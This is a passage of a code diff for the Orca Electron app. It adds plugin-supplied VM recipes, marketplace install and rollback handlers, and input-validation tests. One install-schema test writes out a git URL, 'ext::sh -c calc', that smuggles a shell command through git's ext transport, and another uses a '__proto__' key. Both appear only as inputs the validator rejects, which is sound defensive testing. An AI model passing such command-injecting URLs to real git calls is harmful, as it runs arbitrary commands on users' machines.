if (pendingTeardowns.length > 0) {

View File

@ -26,7 +26,11 @@ export type RecipeRepoResult =
| { ok: true; repo: Exclude<ReturnType<Store['getRepo']>, null | undefined> }
| { ok: false; message: string; doctor: (recipeId: string) => EphemeralVmRecipeDoctorResult }
export function listRecipes(store: Store, repoId: string): EphemeralVmRecipeListResult {
export function listRecipes(
store: Store,
repoId: string,
pluginRecipes: readonly OrcaVmRecipe[] = []
): EphemeralVmRecipeListResult {
const repo = store.getRepo(repoId)
if (!repo || isFolderRepo(repo)) {
return {
@ -50,12 +54,15 @@ export function listRecipes(store: Store, repoId: string): EphemeralVmRecipeList
return {
status: 'ok',
repoPath: repo.path,
recipes: hooks?.environmentRecipes ?? [],
recipes: combineEphemeralVmRecipes(hooks?.environmentRecipes ?? [], pluginRecipes),
diagnostics: hooks?.environmentRecipeDiagnostics ?? []
}
}
export function listRecipeCatalog(store: Store): EphemeralVmRecipeCatalogEntry[] {
export function listRecipeCatalog(
store: Store,
pluginRecipes: readonly OrcaVmRecipe[] = []
): EphemeralVmRecipeCatalogEntry[] {
return store
.getRepos()
.filter((repo) => isGitRepoKind(repo) && !isFolderRepo(repo) && !repo.connectionId)
@ -65,7 +72,7 @@ export function listRecipeCatalog(store: Store): EphemeralVmRecipeCatalogEntry[]
repoId: repo.id,
repoName: repo.displayName,
repoPath: repo.path,
recipes: hooks?.environmentRecipes ?? [],
recipes: combineEphemeralVmRecipes(hooks?.environmentRecipes ?? [], pluginRecipes),
diagnostics: hooks?.environmentRecipeDiagnostics ?? []
}
})
@ -103,15 +110,41 @@ export function getRuntimeRecipeContext(
if (!repo.ok) {
throw new Error(repo.message)
}
const recipe = (loadHooks(repo.repo.path)?.environmentRecipes ?? []).find(
(entry) => entry.id === runtime.recipeId
)
// Pre-snapshot runtimes can only be attributed to repo-owned recipes. Never
// substitute a later same-id plugin recipe for an older runtime lifecycle.
const recipe =
runtime.recipe ??
(loadHooks(repo.repo.path)?.environmentRecipes ?? []).find(
(entry) => entry.id === runtime.recipeId
)
if (!recipe) {
throw new Error(`Recipe not found: ${runtime.recipeId}`)
}
return { runtime, repo, recipe }
}
export function resolveRecipeForRepo(
repoPath: string,
recipeId: string,
pluginRecipes: readonly OrcaVmRecipe[] = []
): OrcaVmRecipe | null {
return (
combineEphemeralVmRecipes(loadHooks(repoPath)?.environmentRecipes ?? [], pluginRecipes).find(
(recipe) => recipe.id === recipeId
) ?? null
)
}
/** Project-owned recipes are authoritative for their repository and shadow
* same-id global plugin recipes without disabling the rest of the pack. */
export function combineEphemeralVmRecipes(
repoRecipes: readonly OrcaVmRecipe[],
pluginRecipes: readonly OrcaVmRecipe[]
): OrcaVmRecipe[] {
const repoIds = new Set(repoRecipes.map((recipe) => recipe.id))
return [...repoRecipes, ...pluginRecipes.filter((recipe) => !repoIds.has(recipe.id))]
}
function failedRecipeRepo(repoPath: string | null, message: string): RecipeRepoResult {
return {
ok: false,

View File

@ -1,6 +1,5 @@
import { app, ipcMain } from 'electron'
import type { Store } from '../persistence'
import { loadHooks } from '../hooks'
import {
listEphemeralVmRuntimes,
updateEphemeralVmRuntimeStatus
@ -28,7 +27,7 @@ import {
disconnectRuntimeOwnedSshTarget,
removeRuntimeOwnedSshTarget
} from '../ephemeral-vm-runtime-ssh'
import { getRecipeRepo, getRuntimeRecipeContext } from './ephemeral-vm-recipe-context'
import { getRuntimeRecipeContext } from './ephemeral-vm-recipe-context'
import { invalidateRuntimeEnvironmentTransport } from './runtime-environments'
export type EphemeralVmCleanupCommandResult = {
@ -74,30 +73,21 @@ export function registerEphemeralVmRuntimeHandlers(store: Store): void {
if (!runtime.repoId) {
throw new Error(`Ephemeral VM runtime has no repo id: ${args.runtimeId}`)
}
const repo = getRecipeRepo(store, runtime.repoId)
if (!repo.ok) {
let resolved: ReturnType<typeof getRuntimeRecipeContext>
try {
resolved = getRuntimeRecipeContext(store, userDataPath, runtime.id)
} catch (error) {
return updateEphemeralVmRuntimeStatus(userDataPath, runtime.id, {
status: 'cleanup_failed',
cleanupStatus: 'failed',
cleanupLastAttemptAt: Date.now(),
cleanupLastError: repo.message
})
}
const recipe = (loadHooks(repo.repo.path)?.environmentRecipes ?? []).find(
(entry) => entry.id === runtime.recipeId
)
if (!recipe) {
return updateEphemeralVmRuntimeStatus(userDataPath, runtime.id, {
status: 'cleanup_failed',
cleanupStatus: 'failed',
cleanupLastAttemptAt: Date.now(),
cleanupLastError: `Recipe not found: ${runtime.recipeId}`
cleanupLastError: error instanceof Error ? error.message : String(error)
})
}
const result = await cleanupEphemeralVmRuntime({
userDataPath,
repoPath: repo.repo.path,
recipe,
repoPath: resolved.repo.repo.path,
recipe: resolved.recipe,
runtimeId: runtime.id
})
if (result.ok && runtime.runtimeEnvironmentId) {
@ -217,7 +207,7 @@ export function registerEphemeralVmRuntimeHandlers(store: Store): void {
ipcMain.handle(
'ephemeralVm:getCleanupCommand',
(_event, args: { runtimeId: string }): EphemeralVmCleanupCommandResult => {
async (_event, args: { runtimeId: string }): Promise<EphemeralVmCleanupCommandResult> => {
const userDataPath = app.getPath('userData')
const resolved = getRuntimeRecipeContext(store, userDataPath, args.runtimeId)
const payload = buildEphemeralVmRecipeCleanupPayload({

View File

@ -4,6 +4,7 @@ import { join } from 'node:path'
import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
import { encodePairingOffer, PAIRING_OFFER_VERSION } from '../../shared/pairing'
import { listEnvironments } from '../../shared/runtime-environment-store'
import { upsertEphemeralVmRuntime } from '../../shared/ephemeral-vm-runtime-store'
const handlers = new Map<string, (_event: unknown, args: never) => Promise<unknown> | unknown>()
const {
@ -92,6 +93,15 @@ function nodeCommand(scriptPath: string): string {
return `"${process.execPath}" "${scriptPath}"`
}
function pluginServiceWithRecipes(
recipes: { pluginKey: string; recipe: Record<string, unknown> }[]
) {
return {
whenReady: vi.fn().mockResolvedValue(undefined),
contentPacks: { vmRecipes: { list: vi.fn(() => recipes) } }
}
}
describe('registerEphemeralVmHandlers', () => {
const originalPlatform = Object.getOwnPropertyDescriptor(process, 'platform')
@ -198,6 +208,132 @@ describe('registerEphemeralVmHandlers', () => {
])
})
it('merges approved plugin recipes while repository recipes shadow matching ids', async () => {
const repoPath = makeDir('orca-ephemeral-vm-ipc-repo-')
writeFileSync(
join(repoPath, 'orca.yaml'),
[
'environmentRecipes:',
' - id: shared',
' name: Repository Recipe',
' create: repo-create'
].join('\n')
)
const pluginService = pluginServiceWithRecipes([
{
pluginKey: 'orca-samples.recipes',
recipe: { id: 'shared', name: 'Plugin Shared', create: 'plugin-shared' }
},
{
pluginKey: 'orca-samples.recipes',
recipe: { id: 'global', name: 'Plugin Global', create: 'plugin-global' }
}
])
registerEphemeralVmHandlers(makeStore(repoPath) as never, pluginService as never)
const result = (await handlers.get('ephemeralVm:listRecipes')?.(null, {
repoId: 'repo-1'
} as never)) as { recipes: { id: string; name: string }[] }
expect(pluginService.whenReady).toHaveBeenCalled()
expect(result.recipes).toMatchObject([
{ id: 'shared', name: 'Repository Recipe' },
{ id: 'global', name: 'Plugin Global' }
])
})
it('uses an immutable plugin recipe snapshot after the plugin is removed', async () => {
const userDataPath = makeDir('orca-ephemeral-vm-ipc-user-data-')
const repoPath = makeDir('orca-ephemeral-vm-ipc-repo-')
getPathMock.mockReturnValue(userDataPath)
const startPath = join(repoPath, 'start.js')
const destroyPath = join(repoPath, 'destroy.js')
writeFileSync(
startPath,
`console.log(${JSON.stringify(
JSON.stringify({
schemaVersion: 1,
pairingCode: makePairingCode(),
projectRoot: '/workspace/repo'
})
)})`
)
writeFileSync(destroyPath, "require('fs').writeFileSync('plugin-cleaned.txt', 'yes')")
const registrations = [
{
pluginKey: 'orca-samples.recipes',
recipe: {
id: 'plugin-cloud',
name: 'Plugin Cloud',
create: nodeCommand(startPath),
destroy: nodeCommand(destroyPath)
}
}
]
const pluginService = pluginServiceWithRecipes(registrations)
registerEphemeralVmHandlers(makeStore(repoPath) as never, pluginService as never)
const provisioned = (await handlers.get('ephemeralVm:provision')?.(null, {
repoId: 'repo-1',
recipeId: 'plugin-cloud'
} as never)) as { ok: true; runtime: { id: string; recipe?: { id: string } } }
registrations.splice(0)
const cleaned = await handlers.get('ephemeralVm:cleanup')?.(null, {
runtimeId: provisioned.runtime.id
} as never)
expect(provisioned.runtime.recipe).toMatchObject({ id: 'plugin-cloud' })
expect(cleaned).toEqual(expect.objectContaining({ status: 'cleaned' }))
expect(readFileSync(join(repoPath, 'plugin-cleaned.txt'), 'utf8')).toBe('yes')
})
it('never substitutes a later same-id plugin recipe for a legacy runtime', async () => {
const userDataPath = makeDir('orca-ephemeral-vm-ipc-user-data-')
const repoPath = makeDir('orca-ephemeral-vm-ipc-repo-')
getPathMock.mockReturnValue(userDataPath)
const pluginDestroyPath = join(repoPath, 'plugin-destroy.js')
writeFileSync(
pluginDestroyPath,
"require('fs').writeFileSync('plugin-destroy-ran.txt', 'unsafe')"
)
upsertEphemeralVmRuntime(userDataPath, {
id: 'legacy-runtime',
recipeId: 'shared-id',
repoId: 'repo-1',
status: 'running',
cleanupStatus: 'not_started',
createdAt: 1,
updatedAt: 1,
recipeResult: {
schemaVersion: 1,
pairingCode: makePairingCode(),
projectRoot: '/workspace/repo'
}
})
const pluginService = pluginServiceWithRecipes([
{
pluginKey: 'orca-samples.recipes',
recipe: {
id: 'shared-id',
name: 'Later Plugin Recipe',
create: 'create',
destroy: nodeCommand(pluginDestroyPath)
}
}
])
registerEphemeralVmHandlers(makeStore(repoPath) as never, pluginService as never)
const cleaned = await handlers.get('ephemeralVm:cleanup')?.(null, {
runtimeId: 'legacy-runtime'
} as never)
expect(cleaned).toMatchObject({
status: 'cleanup_failed',
cleanupLastError: 'Recipe not found: shared-id'
})
expect(existsSync(join(repoPath, 'plugin-destroy-ran.txt'))).toBe(false)
})
it('provisions a recipe and persists the ephemeral runtime', async () => {
const userDataPath = makeDir('orca-ephemeral-vm-ipc-user-data-')
const repoPath = makeDir('orca-ephemeral-vm-ipc-repo-')

View File

@ -1,6 +1,5 @@
import { app, ipcMain } from 'electron'
import type { Store } from '../persistence'
import { loadHooks } from '../hooks'
import {
getEphemeralVmRecipeResultConnection,
getEphemeralVmRecipeResultWarnings,
@ -27,9 +26,12 @@ import {
getRecipeRepo,
listRecipeCatalog,
listRecipes,
resolveRecipeForRepo,
type EphemeralVmRecipeCatalogEntry
} from './ephemeral-vm-recipe-context'
import { registerEphemeralVmRuntimeHandlers } from './ephemeral-vm-runtime-handlers'
import type { PluginService } from '../plugins/plugin-service'
import { getApprovedPluginVmRecipes } from '../plugins/plugin-approved-vm-recipes'
const activeProvisionControllers = new Map<string, AbortController>()
@ -57,7 +59,7 @@ export type EphemeralVmProvisionIpcResult =
stdout: string
}
export function registerEphemeralVmHandlers(store: Store): void {
export function registerEphemeralVmHandlers(store: Store, pluginService?: PluginService): void {
ipcMain.removeHandler('ephemeralVm:listRecipes')
ipcMain.removeHandler('ephemeralVm:listRecipeCatalog')
ipcMain.removeHandler('ephemeralVm:doctor')
@ -65,25 +67,32 @@ export function registerEphemeralVmHandlers(store: Store): void {
ipcMain.removeHandler('ephemeralVm:cancelProvision')
registerEphemeralVmRuntimeHandlers(store)
ipcMain.handle('ephemeralVm:listRecipes', (_event, args: { repoId: string }) => {
return listRecipes(store, args.repoId)
})
ipcMain.handle('ephemeralVm:listRecipeCatalog', (): EphemeralVmRecipeCatalogEntry[] => {
return listRecipeCatalog(store)
ipcMain.handle('ephemeralVm:listRecipes', async (_event, args: { repoId: string }) => {
return listRecipes(store, args.repoId, await getApprovedPluginVmRecipes(pluginService))
})
ipcMain.handle(
'ephemeralVm:listRecipeCatalog',
async (): Promise<EphemeralVmRecipeCatalogEntry[]> => {
return listRecipeCatalog(store, await getApprovedPluginVmRecipes(pluginService))
}
)
ipcMain.handle(
'ephemeralVm:doctor',
(_event, args: { repoId: string; recipeId: string }): EphemeralVmRecipeDoctorResult => {
async (
_event,
args: { repoId: string; recipeId: string }
): Promise<EphemeralVmRecipeDoctorResult> => {
const repo = getRecipeRepo(store, args.repoId)
if (!repo.ok) {
return repo.doctor(args.recipeId)
}
const pluginRecipes = await getApprovedPluginVmRecipes(pluginService)
return doctorEphemeralVmRecipe({
repoPath: repo.repo.path,
recipeId: args.recipeId,
recipes: loadHooks(repo.repo.path)?.environmentRecipes ?? [],
recipes: listRecipes(store, args.repoId, pluginRecipes).recipes,
localExecutionSupported: true
})
}
@ -106,8 +115,10 @@ export function registerEphemeralVmHandlers(store: Store): void {
if (!repo.ok) {
return { ok: false, error: repo.message, stdout: '', stderr: '' }
}
const recipe = (loadHooks(repo.repo.path)?.environmentRecipes ?? []).find(
(entry) => entry.id === args.recipeId
const recipe = resolveRecipeForRepo(
repo.repo.path,
args.recipeId,
await getApprovedPluginVmRecipes(pluginService)
)
if (!recipe) {
return { ok: false, error: `Recipe not found: ${args.recipeId}`, stdout: '', stderr: '' }

View File

@ -75,6 +75,23 @@ describe('registerKeybindingHandlers', () => {
expect(authorizeExternalPathMock).toHaveBeenCalledWith(snapshot.path)
})
it('reconciles plugin command conflicts after a shortcut edit', () => {
const onChanged = vi.fn()
const setActionBindings = vi.fn(() => snapshot)
registerKeybindingHandlers({ setActionBindings } as never, onChanged)
expect(
getHandler('keybindings:setAction')(
{},
{
actionId: 'plugin:orca-samples.tasks/open',
bindings: ['Mod+Shift+T']
}
)
).toBe(snapshot)
expect(onChanged).toHaveBeenCalledOnce()
})
it('authorizes the keybindings file before opening it outside Orca', async () => {
openPathMock.mockResolvedValue('')
registerKeybindingHandlers({ ensureFile: vi.fn(() => snapshot) } as never)

View File

@ -13,7 +13,10 @@ function broadcastKeybindingsChanged(snapshot: KeybindingFileSnapshot): void {
rebuildAppMenu()
}
export function registerKeybindingHandlers(service: KeybindingService): void {
export function registerKeybindingHandlers(
service: KeybindingService,
onChanged?: () => void
): void {
ipcMain.handle('keybindings:get', () => service.getSnapshot())
ipcMain.handle('keybindings:ensureFile', () => {
@ -22,6 +25,7 @@ export function registerKeybindingHandlers(service: KeybindingService): void {
// workspace. Opening it in the editor still needs normal fs IPC access.
authorizeExternalPath(snapshot.path)
broadcastKeybindingsChanged(snapshot)
onChanged?.()
return snapshot
})
@ -30,6 +34,7 @@ export function registerKeybindingHandlers(service: KeybindingService): void {
(_event, args: { actionId: KeybindingActionId; bindings: string[] | null }) => {
const snapshot = service.setActionBindings(args.actionId, args.bindings)
broadcastKeybindingsChanged(snapshot)
onChanged?.()
return snapshot
}
)
@ -37,6 +42,7 @@ export function registerKeybindingHandlers(service: KeybindingService): void {
ipcMain.handle('keybindings:reload', () => {
const snapshot = service.reload()
broadcastKeybindingsChanged(snapshot)
onChanged?.()
return snapshot
})

View File

@ -0,0 +1,172 @@
import { beforeEach, describe, expect, it, vi } from 'vitest'
import type { PluginMarketplaceInstaller } from '../plugins/plugin-marketplace-installer'
import type { PluginMarketplaceService } from '../plugins/plugin-marketplace-service'
import type { PluginService } from '../plugins/plugin-service'
type IpcHandler = (event: unknown, args?: unknown) => unknown
const electronMocks = vi.hoisted(() => ({ handle: vi.fn() }))
vi.mock('electron', () => ({ ipcMain: { handle: electronMocks.handle } }))
import {
registerPluginMarketplaceHandlers,
type PluginMarketplaceHandlerServices
} from './plugin-marketplaces'
const SOURCE_ID = 'a'.repeat(32)
const MARKETPLACE_COMMIT = 'b'.repeat(40)
const PLUGIN_COMMIT = 'c'.repeat(40)
const PLUGIN_KEY = 'orca-samples.demo'
let handlers: Map<string, IpcHandler>
function createServices(): PluginMarketplaceHandlerServices {
return {
marketplace: {
listSources: vi.fn().mockResolvedValue([{ id: SOURCE_ID }]),
addSource: vi.fn().mockResolvedValue({ id: SOURCE_ID }),
removeSource: vi.fn().mockResolvedValue(true),
refreshSource: vi.fn().mockResolvedValue({ id: SOURCE_ID }),
refreshAll: vi.fn().mockResolvedValue([{ id: SOURCE_ID }]),
listPlugins: vi.fn().mockResolvedValue([{ pluginKey: PLUGIN_KEY }])
} as unknown as PluginMarketplaceService,
installer: {
preview: vi.fn().mockResolvedValue({ pluginKey: PLUGIN_KEY }),
install: vi.fn().mockResolvedValue({ ok: true, pluginKey: PLUGIN_KEY }),
previewInstalledUpdate: vi.fn().mockResolvedValue({ pluginKey: PLUGIN_KEY }),
rollback: vi.fn().mockResolvedValue({ ok: true, pluginKey: PLUGIN_KEY })
} as unknown as PluginMarketplaceInstaller
}
}
function createPluginService(): PluginService {
return {
deactivatePlugin: vi.fn().mockResolvedValue(undefined),
refresh: vi.fn().mockResolvedValue(undefined)
} as unknown as PluginService
}
async function invoke(channel: string, args?: unknown): Promise<unknown> {
const handler = handlers.get(channel)
if (!handler) {
throw new Error(`missing IPC handler: ${channel}`)
}
return handler({}, args)
}
beforeEach(() => {
handlers = new Map()
electronMocks.handle.mockReset()
electronMocks.handle.mockImplementation((channel: string, handler: IpcHandler) => {
handlers.set(channel, handler)
})
})
describe('plugin marketplace IPC authority', () => {
it('validates every mutating or plugin-selecting request strictly', async () => {
registerPluginMarketplaceHandlers(createPluginService(), createServices())
await expect(
invoke('plugins:addMarketplace', {
kind: 'git',
url: 'https://example.com/marketplace.git',
ref: 'main',
unexpected: true
})
).rejects.toThrow()
await expect(
invoke('plugins:removeMarketplace', { sourceId: SOURCE_ID, unexpected: true })
).rejects.toThrow()
await expect(
invoke('plugins:refreshMarketplaces', { sourceId: 'not-a-source' })
).rejects.toThrow()
await expect(
invoke('plugins:previewMarketplacePlugin', {
marketplaceSourceId: SOURCE_ID,
pluginKey: '__proto__.demo'
})
).rejects.toThrow()
await expect(
invoke('plugins:installMarketplacePlugin', {
marketplaceSourceId: SOURCE_ID,
marketplaceCommit: 'moving-ref',
pluginKey: PLUGIN_KEY,
resolvedCommit: PLUGIN_COMMIT
})
).rejects.toThrow()
await expect(
invoke('plugins:previewMarketplaceUpdate', {
pluginKey: PLUGIN_KEY,
unexpected: true
})
).rejects.toThrow()
await expect(
invoke('plugins:rollbackMarketplacePlugin', { pluginKey: 'bare-id' })
).rejects.toThrow()
})
it('dispatches source listing, add, removal, and refresh operations', async () => {
const services = createServices()
registerPluginMarketplaceHandlers(createPluginService(), services)
const source = {
kind: 'git' as const,
url: 'https://example.com/marketplace.git',
ref: 'main'
}
await invoke('plugins:listMarketplaces')
await invoke('plugins:addMarketplace', source)
await invoke('plugins:removeMarketplace', { sourceId: SOURCE_ID })
await invoke('plugins:refreshMarketplaces', { sourceId: SOURCE_ID })
await invoke('plugins:refreshMarketplaces', {})
await invoke('plugins:listMarketplacePlugins')
expect(services.marketplace.listSources).toHaveBeenCalledTimes(2)
expect(services.marketplace.addSource).toHaveBeenCalledWith(source)
expect(services.marketplace.removeSource).toHaveBeenCalledWith(SOURCE_ID)
expect(services.marketplace.refreshSource).toHaveBeenCalledWith(SOURCE_ID)
expect(services.marketplace.refreshAll).toHaveBeenCalledOnce()
expect(services.marketplace.listPlugins).toHaveBeenCalledOnce()
})
it('refreshes discovery only after a successful install', async () => {
const services = createServices()
const pluginService = createPluginService()
registerPluginMarketplaceHandlers(pluginService, services)
const preview = {
marketplaceSourceId: SOURCE_ID,
marketplaceCommit: MARKETPLACE_COMMIT,
pluginKey: PLUGIN_KEY,
resolvedCommit: PLUGIN_COMMIT
}
await invoke('plugins:installMarketplacePlugin', preview)
expect(services.installer.install).toHaveBeenCalledWith(preview)
expect(pluginService.refresh).toHaveBeenCalledOnce()
vi.mocked(pluginService.refresh).mockClear()
vi.mocked(services.installer.install).mockResolvedValueOnce({ ok: false, error: 'failed' })
await invoke('plugins:installMarketplacePlugin', preview)
expect(pluginService.refresh).not.toHaveBeenCalled()
})
it('deactivates before rollback and refreshes discovery only on success', async () => {
const services = createServices()
const pluginService = createPluginService()
registerPluginMarketplaceHandlers(pluginService, services)
await invoke('plugins:rollbackMarketplacePlugin', { pluginKey: PLUGIN_KEY })
expect(pluginService.deactivatePlugin).toHaveBeenCalledWith(PLUGIN_KEY)
expect(services.installer.rollback).toHaveBeenCalledWith(PLUGIN_KEY)
expect(vi.mocked(pluginService.deactivatePlugin).mock.invocationCallOrder[0]).toBeLessThan(
vi.mocked(services.installer.rollback).mock.invocationCallOrder[0]
)
expect(pluginService.refresh).toHaveBeenCalledOnce()
vi.mocked(pluginService.refresh).mockClear()
vi.mocked(services.installer.rollback).mockResolvedValueOnce({ ok: false, error: 'failed' })
await invoke('plugins:rollbackMarketplacePlugin', { pluginKey: PLUGIN_KEY })
expect(pluginService.refresh).not.toHaveBeenCalled()
})
})

View File

@ -0,0 +1,76 @@
import { ipcMain } from 'electron'
import { z } from 'zod'
import { PLUGIN_COMMIT_PATTERN } from '../../shared/plugins/plugin-install-lockfile'
import { isQualifiedPluginKey } from '../../shared/plugins/plugin-manifest'
import { pluginMarketplaceGitSourceSchema } from '../../shared/plugins/plugin-marketplace'
import type { PluginMarketplaceInstaller } from '../plugins/plugin-marketplace-installer'
import type { PluginMarketplaceService } from '../plugins/plugin-marketplace-service'
import { PLUGIN_MARKETPLACE_SOURCE_ID_PATTERN } from '../plugins/plugin-marketplace-store'
import type { PluginService } from '../plugins/plugin-service'
export type PluginMarketplaceHandlerServices = {
marketplace: PluginMarketplaceService
installer: PluginMarketplaceInstaller
}
const sourceIdSchema = z.string().regex(PLUGIN_MARKETPLACE_SOURCE_ID_PATTERN)
const removeMarketplaceSchema = z.strictObject({ sourceId: sourceIdSchema })
const refreshMarketplaceSchema = z.strictObject({ sourceId: sourceIdSchema.optional() })
const marketplacePluginSchema = z.strictObject({
marketplaceSourceId: sourceIdSchema,
pluginKey: z.string().refine(isQualifiedPluginKey, 'invalid qualified plugin key')
})
const installMarketplacePluginSchema = marketplacePluginSchema.extend({
marketplaceCommit: z.string().regex(PLUGIN_COMMIT_PATTERN),
resolvedCommit: z.string().regex(PLUGIN_COMMIT_PATTERN)
})
const installedPluginSchema = z.strictObject({
pluginKey: z.string().refine(isQualifiedPluginKey, 'invalid qualified plugin key')
})
export function registerPluginMarketplaceHandlers(
pluginService: PluginService,
services: PluginMarketplaceHandlerServices
): void {
ipcMain.handle('plugins:listMarketplaces', () => services.marketplace.listSources())
ipcMain.handle('plugins:addMarketplace', async (_event, args: unknown) => {
const source = pluginMarketplaceGitSourceSchema.parse(args)
return services.marketplace.addSource(source)
})
ipcMain.handle('plugins:removeMarketplace', async (_event, args: unknown) => {
const { sourceId } = removeMarketplaceSchema.parse(args)
await services.marketplace.removeSource(sourceId)
return services.marketplace.listSources()
})
ipcMain.handle('plugins:refreshMarketplaces', async (_event, args: unknown) => {
const { sourceId } = refreshMarketplaceSchema.parse(args ?? {})
return sourceId
? [await services.marketplace.refreshSource(sourceId)]
: services.marketplace.refreshAll()
})
ipcMain.handle('plugins:listMarketplacePlugins', () => services.marketplace.listPlugins())
ipcMain.handle('plugins:previewMarketplacePlugin', async (_event, args: unknown) => {
const parsed = marketplacePluginSchema.parse(args)
return services.installer.preview(parsed.marketplaceSourceId, parsed.pluginKey)
})
ipcMain.handle('plugins:installMarketplacePlugin', async (_event, args: unknown) => {
const result = await services.installer.install(installMarketplacePluginSchema.parse(args))
if (result.ok) {
await pluginService.refresh()
}
return result
})
ipcMain.handle('plugins:previewMarketplaceUpdate', async (_event, args: unknown) => {
const { pluginKey } = installedPluginSchema.parse(args)
return services.installer.previewInstalledUpdate(pluginKey)
})
ipcMain.handle('plugins:rollbackMarketplacePlugin', async (_event, args: unknown) => {
const { pluginKey } = installedPluginSchema.parse(args)
await pluginService.deactivatePlugin(pluginKey)
const result = await services.installer.rollback(pluginKey)
if (result.ok) {
await pluginService.refresh()
}
return result
})
}

View File

@ -0,0 +1,159 @@
import { beforeEach, describe, expect, it, vi } from 'vitest'
import type { PluginLockfile } from '../../shared/plugins/plugin-install-lockfile'
import type { PluginService } from '../plugins/plugin-service'
import type { Store } from '../persistence'
const electronMocks = vi.hoisted(() => ({ handle: vi.fn(), on: vi.fn() }))
vi.mock('electron', () => ({
ipcMain: { handle: electronMocks.handle, on: electronMocks.on }
}))
import {
canRemoveInstalledPlugin,
parsePluginConsentArgs,
parsePluginInstallArgs,
registerPluginHandlers
} from './plugins'
beforeEach(() => {
electronMocks.handle.mockReset()
electronMocks.on.mockReset()
})
describe('plugin consent IPC schema', () => {
it('requires the fingerprint reviewed by the caller', () => {
expect(() =>
parsePluginConsentArgs({ pluginKey: 'orca-samples.demo', decision: 'approve' })
).toThrow()
})
it('accepts an explicit reviewed fingerprint', () => {
expect(
parsePluginConsentArgs({
pluginKey: 'orca-samples.demo',
reviewedFingerprint: 'sha256-reviewed',
decision: 'approve'
})
).toEqual({
pluginKey: 'orca-samples.demo',
reviewedFingerprint: 'sha256-reviewed',
decision: 'approve'
})
})
})
describe('plugin install IPC schema', () => {
it('requires a non-empty git ref', () => {
expect(() =>
parsePluginInstallArgs({ kind: 'git', url: 'https://example.com/plugin.git' })
).toThrow()
expect(() =>
parsePluginInstallArgs({ kind: 'git', url: 'https://example.com/plugin.git', ref: ' ' })
).toThrow()
})
it('accepts an explicit git ref', () => {
expect(
parsePluginInstallArgs({
kind: 'git',
url: 'https://example.com/plugin.git',
ref: ' v1.2.3 '
})
).toEqual({ kind: 'git', url: 'https://example.com/plugin.git', ref: 'v1.2.3' })
})
it('accepts HTTPS and SSH git transports', () => {
expect(
parsePluginInstallArgs({
kind: 'git',
url: 'ssh://git@example.com/acme/plugin.git',
ref: 'main'
})
).toEqual({
kind: 'git',
url: 'ssh://git@example.com/acme/plugin.git',
ref: 'main'
})
expect(
parsePluginInstallArgs({
kind: 'git',
url: 'git@example.com:acme/plugin.git',
ref: 'main'
})
).toEqual({ kind: 'git', url: 'git@example.com:acme/plugin.git', ref: 'main' })
})
it('rejects executable helpers and embedded HTTPS credentials', () => {
expect(() =>
parsePluginInstallArgs({ kind: 'git', url: 'ext::sh -c calc', ref: 'main' })
).toThrow()
expect(() =>
parsePluginInstallArgs({
kind: 'git',
url: 'https://user@example.com/plugin.git',
ref: 'main'
})
).toThrow()
})
})
describe('plugin removal authority', () => {
it('allows installed rows but refuses dev overrides and unknown keys', () => {
const service = {
getDiscovered: () => [
{ pluginKey: 'orca-samples.installed', isDev: false },
{ pluginKey: 'orca-samples.dev', isDev: true }
]
} as unknown as PluginService
expect(canRemoveInstalledPlugin(service, 'orca-samples.installed')).toBe(true)
expect(canRemoveInstalledPlugin(service, 'orca-samples.dev')).toBe(false)
expect(canRemoveInstalledPlugin(service, 'orca-samples.unknown')).toBe(false)
})
it('refuses bundled installs because startup would restore them', () => {
const service = {
getDiscovered: () => [{ pluginKey: 'stablyai.orca-theme', isDev: false }]
} as unknown as PluginService
const lock = {
version: 1,
plugins: {
'stablyai.orca-theme': {
pluginKey: 'stablyai.orca-theme',
version: '1.0.0',
source: { kind: 'bundled', bundleId: 'stablyai.orca-theme' },
resolvedCommit: null,
contentHash: 'a'.repeat(64),
consentFingerprint: 'reviewed',
installedAt: 1
}
}
} satisfies PluginLockfile
expect(canRemoveInstalledPlugin(service, 'stablyai.orca-theme', lock)).toBe(false)
})
})
describe('plugin settings lifecycle authority', () => {
it('refreshes from the main-process settings listener without renderer follow-up', () => {
let settingsListener!: (updates: {
pluginSystemEnabled?: boolean
devPluginPaths?: string[]
}) => void
const store = {
onSettingsChanged: vi.fn((listener) => {
settingsListener = listener
return vi.fn()
})
} as unknown as Store
const service = {
setRuntimeDelegate: vi.fn(),
refresh: vi.fn().mockResolvedValue(undefined)
} as unknown as PluginService
registerPluginHandlers(store, service, null)
settingsListener({ pluginSystemEnabled: false })
expect(service.refresh).toHaveBeenCalledOnce()
})
})

257
src/main/ipc/plugins.ts Normal file
View File

@ -0,0 +1,257 @@
import { ipcMain } from 'electron'
import { z } from 'zod'
import type { Store } from '../persistence'
import type { OrcaRuntimeService } from '../runtime/orca-runtime'
import type {
PluginPanelActionOutcome,
PluginPanelEntry
} from '../../shared/plugins/plugin-panel-bridge'
import { getUserPluginsDir, getPluginsDataDir } from '../plugins/plugin-discovery'
import {
installPluginFromGit,
installPluginFromLocalPath,
readPluginLockfile,
removeInstalledPlugin
} from '../plugins/plugin-install'
import { applyPluginConsent, applyPluginEnablement } from '../plugins/plugin-enablement'
import { buildPluginList, type PluginListEntry } from '../plugins/plugin-list-projection'
import type { PluginService } from '../plugins/plugin-service'
import { bindPluginPanelOwnerLifecycle } from '../plugins/plugin-panel-owner-lifecycle'
import { isQualifiedPluginKey } from '../../shared/plugins/plugin-manifest'
import { pluginConsentRequestSchema } from '../../shared/plugins/plugin-consent-request'
import { normalizePluginIdList } from '../../shared/plugins/plugin-consent-state'
import {
isAllowedPluginGitUrl,
type PluginLockfile
} from '../../shared/plugins/plugin-install-lockfile'
import {
registerPluginMarketplaceHandlers,
type PluginMarketplaceHandlerServices
} from './plugin-marketplaces'
export function parsePluginConsentArgs(args: unknown): z.infer<typeof pluginConsentRequestSchema> {
return pluginConsentRequestSchema.parse(args)
}
const setEnabledArgsSchema = z.object({
pluginKey: z.string().refine(isQualifiedPluginKey, 'invalid qualified plugin key'),
enabled: z.boolean()
})
const readPanelEntryArgsSchema = z.object({
pluginKey: z.string().min(1),
panelId: z.string().min(1)
})
const invokeCommandArgsSchema = z.object({
pluginKey: z.string().min(1),
commandId: z.string().min(1),
args: z.unknown().optional()
})
const installArgsSchema = z.discriminatedUnion('kind', [
z.object({ kind: z.literal('local-path'), path: z.string().min(1) }),
z.object({
kind: z.literal('git'),
url: z.string().trim().min(1).refine(isAllowedPluginGitUrl, 'git URL must use HTTPS or SSH'),
// Why: installs must stay reproducible even when callers bypass renderer validation.
ref: z.string().trim().min(1)
})
])
export function parsePluginInstallArgs(args: unknown): z.infer<typeof installArgsSchema> {
